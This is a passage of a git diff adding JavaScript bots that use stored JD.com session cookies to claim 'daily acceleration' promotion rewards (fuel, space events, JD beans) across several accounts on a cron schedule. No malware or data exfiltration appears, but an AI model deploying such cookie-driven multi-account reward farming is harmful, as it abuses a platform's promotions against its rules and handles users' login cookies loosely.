+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Length": "0",
+ "Content-Type": "application/json",
+ "Cookie": cookie,
+ "Host": "jdhome.m.jd.com",
+ "Origin": "https://jdhome.m.jd.com",
+ "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ await login(data.data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+function login(userName) {
+ return new Promise(resolve => {
+ const body = {
+ "body": {
+ "client": 2,
+ userName
+ }
+ };
+ const options = {
+ "url": `${JD_API_HOST}/user-info/login`,
+ "body": JSON.stringify(body),
+ "headers": {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/json",
+ "Host": "lkyl.dianpusoft.cn",
+ "Origin": "https://lkyl.dianpusoft.cn",
+ "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ $.token = data.head.token;
+ $.helpToken.push(data.head.token)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function updateInviteCode(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateSmallHomeInviteCode.json') {
+ return new Promise(resolve => {
+ $.get({url}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ $.inviteCodes = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function updateInviteCodeCDN(url) {
+ return new Promise(async resolve => {
+ $.get({url, headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.inviteCodes = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ await $.wait(3000)
+ resolve();
+ })
+}
+function taskUrl(url, body = {}) {
+ return {
+ url: `${JD_API_HOST}/${url}?body=${escape(body)}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Connection": "keep-alive",
+ "content-type": "application/json",
+ "Host": "lkyl.dianpusoft.cn",
+ "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html",
+ "token": $.token,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+}
+function taskPostUrl(url) {
+ return {
+ url: `${JD_API_HOST}/${url}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Connection": "keep-alive",
+ "content-type": "application/json",
+ "Host": "lkyl.dianpusoft.cn",
+ "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html",
+ "token": $.token,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+}
+function sortByjdBeanNum(a, b) {
+ return a['jdBeanNum'] - b['jdBeanNum'];
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_speed.js b/Task/jd_speed.js
new file mode 100644
index 0000000..5755db1
--- /dev/null
+++ b/Task/jd_speed.js
@@ -0,0 +1,684 @@
+/*
+京东天天加速链接:jd_speed.js
+更新时间:2020-12-25
+活动入口:京东APP我的-更多工具-天天加速
+活动地址:https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html
+支持京东双账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+每天4京豆,再小的苍蝇也是肉
+从 https://github.com/Zero-S1/JD_tools/blob/master/JD_speed.py 改写来的
+建议3小时运行一次,打卡时间间隔是6小时
+=================QuantumultX==============
+[task_local]
+#天天加速
+8 0-23/3 * * * jd_speed.js, tag=京东天天加速, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdjs.png, enabled=true
+
+============Loon================
+[Script]
+cron "8 0-23/3 * * *" script-path=jd_speed.js,tag=京东天天加速
+
+===========Surge============
+天天加速 = type=cron,cronexp="8 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_speed.js
+
+==============小火箭=============
+天天加速 = type=cron,script-path=jd_speed.js, cronexpr="11 0-23/3 * * *", timeout=3600, enable=true
+*/
+
+const $ = new Env('✈️天天加速');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+let jdNotify = true;//是否开启静默运行。默认true开启
+let message = '', subTitle = '';
+const JD_API_HOST = 'https://api.m.jd.com/'
+
+!(async () => {
+ if ($.time('yyyy-MM-dd') === '2021-04-21') {
+ //$.msg($.name, '2021-04-21 0点已停止运营', `请禁用或删除脚本(jd_speed.js)`);
+ //return
+ }
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ message = '';
+ subTitle = '';
+ await jDSpeedUp();
+ await getMemBerList();
+ await showMsg();
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+function showMsg() {
+ jdNotify = $.getdata('jdSpeedNotify') ? $.getdata('jdSpeedNotify') : jdNotify;
+ if (!jdNotify || jdNotify === 'false') {
+ $.msg($.name, subTitle, `【京东账号${$.index}】${$.nickName}\n` + message);
+ } else {
+ $.log(`\n${message}\n`);
+ }
+}
+function jDSpeedUp(sourceId) {
+ return new Promise((resolve) => {
+ let body = {"source": "game"};
+ if (sourceId) {
+ body.source_id = sourceId
+ }
+ const url = {
+ // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=flyTask_' + (sourceId ? 'start&body=%7B%22source%22%3A%22game%22%2C%22source_id%22%3A' + sourceId + '%7D' : 'state&body=%7B%22source%22%3A%22game%22%7D'),
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=flyTask_${sourceId ? 'start' : 'state'}&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ 'Cookie': cookie,
+ 'Host': 'api.m.jd.com',
+ 'Accept': '*/*',
+ 'Connection': 'keep-alive',
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Accept-Language': 'zh-cn',
+ 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html?lng=116.845095&lat=39.957701&sid=ea687233c5e7d226b30940ed7382c5cw&un_area=5_274_49707_49973',
+ 'Accept-Encoding': 'gzip, deflate, br'
+ }
+ };
+ $.get(url, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('京东天天-加速: 签到接口请求失败 ‼️‼️');
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (data) {
+ let res = JSON.parse(data);
+ if (!sourceId) {
+ console.log(`\n天天加速任务进行中`);
+ } else {
+ console.log("\n" + "天天加速-开始本次任务 ");
+ }
+ if (res.code === 0 && res.success) {
+ subTitle = `【奖励】${res.data.beans_num}京豆`;
+ if (res.data.task_status === 0) {
+ const taskID = res.data.source_id;
+ await jDSpeedUp(taskID);
+ } else if (res.data.task_status === 1) {
+ const EndTime = res.data.end_time ? res.data.end_time : ""
+ console.log("\n天天加速进行中-结束时间: \n" + EndTime);
+ const space = await spaceEventList()
+ const HandleEvent = await spaceEventHandleEvent(space)
+ const step1 = await energyPropList();//检查燃料
+ const step2 = await receiveEnergyProp(step1);//领取可用的燃料
+ const step3 = await energyPropUsaleList(step2)
+ const step4 = await useEnergy(step3)
+ if (step4) {
+ await jDSpeedUp(null);
+ } else {
+ message += `【空间站】 ${res.data.destination}\n`;
+ message += `【结束时间】 ${res.data.end_time}\n`;
+ message += `【进度】 ${((res.data['done_distance'] / res.data.distance) * 100).toFixed(2)}%\n`;
+ }
+ } else if (res.data.task_status === 2) {
+ if (data.match(/\"beans_num\":\d+/)) {
+ //message += "【上轮奖励】成功领取" + data.match(/\"beans_num\":(\d+)/)[1] + "京豆 🐶";
+ if (!jdNotify || jdNotify === 'false') {
+ $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n` + "【上轮太空旅行】成功领取" + data.match(/\"beans_num\":(\d+)/)[1] + "京豆 🐶");
+ }
+ } else {
+ console.log("京东天天-加速: 成功, 明细: 无京豆 🐶")
+ }
+ console.log("\n天天加速-领取上次奖励成功")
+ await jDSpeedUp(null);
+ } else {
+ console.log("\n" + "天天加速-判断状态码失败")
+ }
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (e) {
+ // $.msg("京东天天-加速" + e.name + "‼️", JSON.stringify(e), e.message)
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+
+// 检查太空特殊事件
+function spaceEventList() {
+ return new Promise((resolve) => {
+ let spaceEvents = [];
+ const body = { "source": "game"};
+ const spaceEventUrl = {
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=spaceEvent_list&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie
+ }
+ }
+ $.get(spaceEventUrl, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n京东天天-加速: 查询太空特殊事件请求失败 ‼️‼️")
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (data) {
+ const cc = JSON.parse(data);
+ if (cc.message === "success" && cc.data.length > 0) {
+ for (let item of cc.data) {
+ if (item.status === 1) {
+ for (let j of item.options) {
+ if (j.type === 1) {
+ spaceEvents.push({
+ "id": item.id,
+ "value": j.value
+ })
+ }
+ }
+ }
+ }
+ if (spaceEvents && spaceEvents.length > 0) {
+ console.log("\n天天加速-查询到" + spaceEvents.length + "个太空特殊事件")
+ } else {
+ console.log("\n天天加速-暂无太空特殊事件")
+ }
+ } else {
+ console.log("\n天天加速-查询无太空特殊事件")
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (e) {
+ // $.msg("天天加速-查询太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message)
+ $.logErr(e, resp)
+ } finally {
+ resolve(spaceEvents)
+ }
+ })
+ })
+}
+
+//处理太空特殊事件
+function spaceEventHandleEvent(spaceEventList) {
+ return new Promise((resolve) => {
+ if (spaceEventList && spaceEventList.length > 0) {
+ let spaceEventCount = 0, spaceNumTask = 0;
+ for (let item of spaceEventList) {
+ let body = {
+ "source":"game",
+ "eventId": item.id,
+ "option": item.value
+ }
+ const spaceHandleUrl = {
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=spaceEvent_handleEvent&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie
+ }
+ }
+ spaceEventCount += 1
+ $.get(spaceHandleUrl, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n京东天天-加速: 处理太空特殊事件请求失败 ‼️‼️")
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (data) {
+ const cc = JSON.parse(data);
+ // console.log(`处理特殊事件的结果::${JSON.stringify(cc)}`);
+ console.log("\n天天加速-尝试处理第" + spaceEventCount + "个太空特殊事件")
+ if (cc.message === "success" && cc.success) {
+ spaceNumTask += 1;
+ } else {
+ console.log("\n天天加速-处理太空特殊事件失败")
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (e) {
+ // $.msg("天天加速-查询处理太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message)
+ $.logErr(e, resp)
+ } finally {
+ if (spaceEventList.length === spaceNumTask) {
+ console.log("\n天天加速-已成功处理" + spaceNumTask + "个太空特殊事件")
+ resolve()
+ }
+ }
+ })
+ }
+ } else {
+ resolve()
+ }
+ })
+}
+
+//检查燃料
+function energyPropList() {
+ return new Promise((resolve) => {
+ let TaskID = "";
+ const body = { "source": "game"};
+ const QueryUrl = {
+ // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_list&body=%7B%22source%22%3A%22game%22%7D',
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_list&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie
+ }
+ };
+ $.get(QueryUrl, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n京东天天-加速: 查询道具请求失败 ‼️‼️")
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (data) {
+ const cc = JSON.parse(data)
+ if (cc.message === "success" && cc.data.length > 0) {
+ for (let i = 0; i < cc.data.length; i++) {
+ if (cc.data[i].thaw_time === 0) {
+ TaskID += cc.data[i].id + ",";
+ }
+ }
+ if (TaskID.length > 0) {
+ TaskID = TaskID.substr(0, TaskID.length - 1).split(",")
+ console.log("\n天天加速-查询到" + TaskID.length + "个可用燃料")
+ } else {
+ console.log("\n天天加速-检查燃料-暂无可用燃料")
+ }
+ } else {
+ console.log("\n天天加速-查询无燃料")
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ // $.msg("天天加速-查询燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message)
+ $.logErr(e, resp)
+ } finally {
+ resolve(TaskID)
+ }
+ })
+ })
+}
+
+//领取可用的燃料
+function receiveEnergyProp(CID) {
+ return new Promise((resolve) => {
+ var NumTask = 0;
+ if (CID) {
+ let count = 0
+ for (let i = 0; i < CID.length; i++) {
+ let body = {
+ "source":"game",
+ "energy_id": CID[i]
+ }
+ const TUrl = {
+ // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_gain&body=%7B%22source%22%3A%22game%22%2C%22energy_id%22%3A' + CID[i] + '%7D',
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_gain&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie
+ }
+ };
+ count += 1
+ $.get(TUrl, (error, response, data) => {
+ try {
+ if (error) {
+ console.log("\n天天加速-领取道具请求失败 ‼️‼️")
+ console.log(`${JSON.stringify(error)}`)
+ } else {
+ if (data) {
+ const cc = JSON.parse(data)
+ console.log("\n天天加速-尝试领取第" + count + "个可用燃料")
+ if (cc.message === 'success') {
+ NumTask += 1
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
